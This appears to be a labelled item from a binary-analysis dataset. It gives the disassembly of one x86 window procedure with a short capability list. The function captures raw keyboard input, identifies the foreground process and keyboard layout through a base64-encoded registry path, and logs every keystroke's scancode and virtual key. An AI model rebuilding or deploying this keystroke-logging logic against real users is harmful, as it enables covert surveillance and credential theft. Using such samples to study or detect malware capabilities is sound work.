Function at 0x4017d5
Capabilities:
Check for time delay via gettickcount
Enumerate processes
Get keyboard layout
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x24c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ebp + 0x10]
cmp dword [ebp - 0x1fc], 2
mov dword [ebp - 0x220], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20c], eax
je 0x401cd4
cmp dword [ebp - 0x1fc], 0xff
jne 0x401ca3
mov dword [ebp - 0x1ec], 0x40
lea eax, [ebp - 0x1ec]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x1c5]
mov dword [esp + 0x10], 0x10
mov dword [esp + 8], eax
mov dword [esp + 4], 0x10000003
mov eax, dword [ebp - 0x20c]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetRawInputData]
sub esp, 0x14
test eax, eax
je 0x401ca3
cmp dword [ebp - 0x1c5], 1
jne 0x401ca3
mov eax, dword [0x40e490]
mov dword [ebp - 0x210], eax
movzx eax, word [ebp - 0x1af]
mov word [ebp - 0x1fe], ax
mov dword [ebp - 0x204], eax
mov ax, word [ebp - 0x1b3]
mov edx, eax
and edx, 1
mov word [ebp - 0x200], dx
mov edx, eax
and eax, 2
mov word [ebp - 0x218], ax
movzx eax, word [ebp - 0x1b5]
and edx, 4
cmp dword [0x40e48c], 0
mov word [ebp - 0x216], dx
mov dword [ebp - 0x214], eax
jne 0x4018e0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x40e48c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x40e48c]
xor edi, edi
mov dword [0x40e460], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ecx, ecx
mov dword [0x40e468], eax
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push ebx
mov esi, eax
push ebx
mov dword [esp + 4], edi
lea edi, [ebp - 0x140]
mov dword [esp + 8], eax
mov dword [esp], 0x40
call dword [sym.imp.KERNEL32.dll_OpenThread]
sub esp, 0xc
mov dword [ebp - 0x208], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcessIdOfThread]
mov ecx, 0x4a
mov ebx, eax
push edx
mov dword [0x40e464], eax
xor eax, eax
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push edi
push edi
mov edi, eax
test eax, eax
je 0x4019d1
mov dword [ebp - 0x140], 0x128
lea eax, [ebp - 0x140]
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.KERNEL32.dll_Process32First
push edx
push edx
test eax, eax
je 0x4019c7
cmp ebx, dword [ebp - 0x138]
jne 0x4019b3
lea eax, [ebp - 0x11c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], 0x40e470
call sym._strncpy
jmp 0x4019c7
lea eax, [ebp - 0x140]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.KERNEL32.dll_Process32Next
jmp 0x401985
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
mov dword [esp + 4], str.cmd.exe
mov ebx, 0x40e480
mov dword [esp], 0x40e470
mov edi, ebx
call sym._strcmp
test eax, eax
mov eax, 0
cmove esi, eax
mov dword [esp], esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push edx
mov dword [0x40e46c], eax
mov eax, dword [ebp - 0x208]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push ecx
mov edx, dword [0x40e46c]
mov ecx, 9
rep stosb byte es:[edi], al
mov ebx, edx
shr ebx, 0x10
mov ecx, ebx
mov eax, ebx
and ecx, 0xf000
cmp ecx, 0xf000
jne 0x401bbe
lea edx, [ebp - 0x1e8]
lea eax, [ebp - 0x185]
mov esi, str.U1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcS2V5Ym9hcmQgTGF5b3V0cw
mov ecx, 0x45
lea edi, [ebp - 0x185]
rep movsb byte es:[edi], byte [esi]
call sym._base64_decode
lea edx, [ebp - 0x1e4]
mov dword [esp], 0x80000002
mov dword [esp + 8], edx
mov dword [esp + 4], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
sub esp, 0xc
test eax, eax
jne 0x401be8
and ebx, 0xfff
lea edi, [ebp - 0x1cf]
mov esi, str.Layout_Id
mov dword [ebp - 0x1e0], 9
mov dword [ebp - 0x208], ebx
mov ecx, 0xa
rep movsb byte es:[edi], byte [esi]
xor esi, esi
xor edx, edx
lea eax, [ebp - 0x1e0]
lea ebx, [ebp - 0x1d8]
mov dword [esp + 4], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [ebp - 0x1e4]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
sub esp, 0x20
test eax, eax
jne 0x401bac
xor edi, edi
mov ecx, 0x40
mov dword [ebp - 0x1dc], 0x104
mov dword [ebp - 0x140], edi
lea edi, [ebp - 0x13c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1dc]
lea edi, [ebp - 0x140]
mov dword [esp + 4], ebx
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1cf]
mov dword [esp + 0x14], edi
mov dword [esp + 0xc], 2
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1e4]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
sub esp, 0x1c
test eax, eax
jne 0x401b9c
xor ecx, ecx
mov dword [esp + 8], 0x10
mov dword [esp + 4], ecx
mov dword [esp], edi
call sub.msvcrt.dll_strtoul
cmp dword [ebp - 0x208], eax
jne 0x401b9c
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll__strupr]
mov dword [esp + 8], 9
mov dword [esp + 4], ebx
mov dword [esp], 0x40e480
call sym._strncpy
jmp 0x401c05
mov dword [ebp - 0x1e0], 9
inc esi
jmp 0x401ab2
mov eax, dword [ebp - 0x1e4]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
jmp 0x401be8
test ebx, ebx
mov dword [esp + 8], str._08X
cmove eax, edx
mov dword [esp + 4], 9
mov dword [esp], 0x40e480
movzx eax, ax
mov dword [esp + 0xc], eax
call sym._snprintf.constprop.0
jmp 0x401c05
mov dword [esp], 2
call dword [0x40904c]
mov dword [esp + 4], str.bad_layout_:__n
mov dword [esp], eax
call sym._fprintf.lto_priv.0
lea edi, [ebp - 0x140]
mov esi, 0x40e460
mov ecx, 0xb
cmp word [ebp - 0x1fe], 0xff
rep movsd dword es:[edi], dword [esi]
mov eax, str.INVALID
ja 0x401c34
mov eax, dword [ebp - 0x204]
mov eax, dword [eax*4 + 0x40ad80]
mov dword [esp + 0x24], eax
mov eax, dword [ebp - 0x204]
mov dword [esp + 0x20], eax
xor eax, eax
cmp word [ebp - 0x216], 0
setne al
mov dword [esp + 0x1c], eax
xor eax, eax
cmp word [ebp - 0x218], 0
setne al
mov dword [esp + 0x18], eax
mov eax, dword [ebp - 0x214]
mov dword [esp + 0x14], eax
movzx eax, word [ebp - 0x200]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x140]
mov dword [esp + 4], str.__time_:__d___klid_:___s____keyup_:__d___sc_:__d___e0_:__d___e1_:__d___vk_:__d___vkn_:___s___n
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._fprintf.lto_priv.0
mov eax, dword [ebp - 0x20c]
mov dword [ebp + 0x14], eax
mov eax, dword [ebp - 0x220]
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x21c]
mov dword [ebp + 8], eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
jmp dword [sym.imp.USER32.dll_DefWindowProcA]
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x10